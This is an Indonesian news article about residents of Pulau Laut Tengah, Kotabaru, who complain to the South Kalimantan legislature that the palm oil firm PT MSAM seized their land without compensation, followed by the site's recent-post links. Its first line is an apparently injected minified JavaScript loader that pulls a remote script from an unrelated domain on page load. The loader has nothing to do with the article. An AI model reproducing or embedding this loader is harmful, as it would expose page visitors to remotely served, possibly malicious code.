(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terkait Pencaplokan Lahan, Warga Adukan PT MSAM ke DPRD Kalsel


BANJARMASIN, PT Multi Sarana Argo Mandiri (MSAM) perusahaan perkebunan kelapa sawit di Kabupaten Kotabaru dituding telah mencaplok ratusan hektare lahan milik warga Kecamatan Pulau Laut Tengah.

Tak terima ulah PT MSAM itu, massa  menggelar aksi di DPRD Kalsel, Rabu (14/3) sekitar pukul 10.30 Wita. Warga meminta agar DPRD Kalsel memfasilitasi pertemuan warga selaku pemilik lahan dengan perusahaan perkebunan kelapa sawit tersebut.

Pada aksi itu, mereka yang tergabung dalam Forum Masyarakat Peduli Tanah Air juga membentangkan spanduk bertuliskan, ‘Wakil Rakyat Bukan Wakil Mafia dan Hentikan Kegiatan PT MSAM”.

“Kami hanya ingin meminta ganti rugi lahan yang secara paksa direbut PT MSAM,” ujar Ratman, perwakilan warga pemilik lahan dalam aksi.

Diceritakan Ratman, konflik lahan warga dengan PT MSAM sudah terjadi sejak 21 Mei 2017, kebun warga digusur perusahaan tersebut. Warga semakin geram, karena tak satu rupiah pun mereka mendapatkan ganti rugi atas lahan yang penggunaannya diambil alih paksa oleh perusahaan tersebut.

Warga juga mengaku, sudah melaporkan permasalahan konflik lahan tersebut ke DPRD Kotabaru. Sayang wakil rakyat Kotabaru pun tak bisa berbuat banyak. “Makanya kita minta fasilitasi dengan DPRD Kalsel,” katanya.

Aspirasi warga Kotabaru ini pun disambut anggota DPRD Kalsel, Riswandi. Politisi PKS ini berjanji menampung aspirasi warga Kecamatan Pulau Laut Tengah itu.

“Permasalahan lahan kewenangan Komisi I DPRD Kalsel,” ujar Sekretaris Komisi III DPRD Kalsel ini. Riswandi berjanji akan menyampaikan sesegera dan mungkin melaporkan tuntutan warga ke unsur pimpinan dan komisi terkait.

“Tentu aspirasi mereka akan kita sampaikan, dan mudah-mudahan akan ada solusi masalah ini,” ucap wakil rakyat yang sudah tiga periode ini.

Sebelumnya diberitakan, Kepala Desa Mekarpura Abdullah Sani menegaskan bahwa warganya menolak perkebunan sawit sistem plasma yang dilaksanakan PT Multi Sarana Agro Mandiri (MSAM) PT Inhutani II. Penegasan itu dikemukakan saat sosialisasi yang digelar di Desa Salino, Kecamatan Pulau Laut Tengah, Kabupaten Kotabaru, Kalimantan Selatan, Selasa (6/3).

Hadir dalam sosialisasi tersebut antara lain Camat Pulau Laut Tengah Hj Melinda Ratna Agustina, Kapolres Pulau Laut Tengah AKP H Pato S Tumpo, Pelda Rumadi (Kodim 1004/Ktb), Yulai Gultom (General Manager PT. MSAM), Zakaria (Kades Salino), serta sejumlah Ketua RT dan tokoh masyarakat dari Desa Salino dan Desa Mekarpura.

“Plasma tidak harus lahan milik masyarakat, soalnya saya sudah dituding sekongkol dengan perusahaan MSAM ini. Kami menolak plasma ini. Jadi plasma tidak usah diadakan,” kata Abdullah Sani.

Dikatakan Abdullah Sani, masyarakat Desa Mekarpura dan Desa Salino sudah berkebun turun-temurun sejak zaman Jepang. Namun, karena datangnya perkebunan PT MSAM maka banyak lahan warga yang digusur atau dirampas. “Kalau memang terus seperti ini, saya tidak berani jamin, masyarakat akan bertindak dan saya pun juga tidak jamin akan aman,” tegasnya.

Hal senada juga disampaikan Ketua RT 08 Desa Salino, Rahman. “Kami tidak paham dengan sosialisasi PT MSAM ini. Sejak kapan PT MSAM punya kebun di daerah kami. Kapan MSAM datang dan kenapa tiba-tiba punya kebun,” kata Rahman dengan nada tinggi.

Rahman juga mengecam kegiatan PT MSAM yang selalu menggunakan aparat kepolisian. Padahal, imbuh dia, kegiatan PT MSAM tidak pernah memberitahukan aparat desa atau ketua RT setempat. “Kami tidak akan tinggal diam, jika lahan kami digusur dan dirampas, maka kami akan mempertahankannya sampai titik darah penghabisan,” tegasnya.

Selain itu, Rahman juga mendesak agar PT MSAM menghentikan pengukuran dan menghapus hasil ukur yang telah dilakukan beberapa waktu terakhir dengan melibatkan aparat kepolisian. “Masyarakat kami terintimidasi karena menggunakan aparat kepolisian. Sebagian lahan warga sudah dibabat habis, digusur sejak Juli 2017 lalu, sedangkan ganti rugi lahan masyarakat kenyataannya dari bulan Juli tahun 2017 sampai sekarang sebagian besar belum terbayar,” tandasnya. (ammar/bie)

Reporter: Ammar/bie
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

3 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

6 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

6 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

8 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

9 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

10 jam ago

This website uses cookies.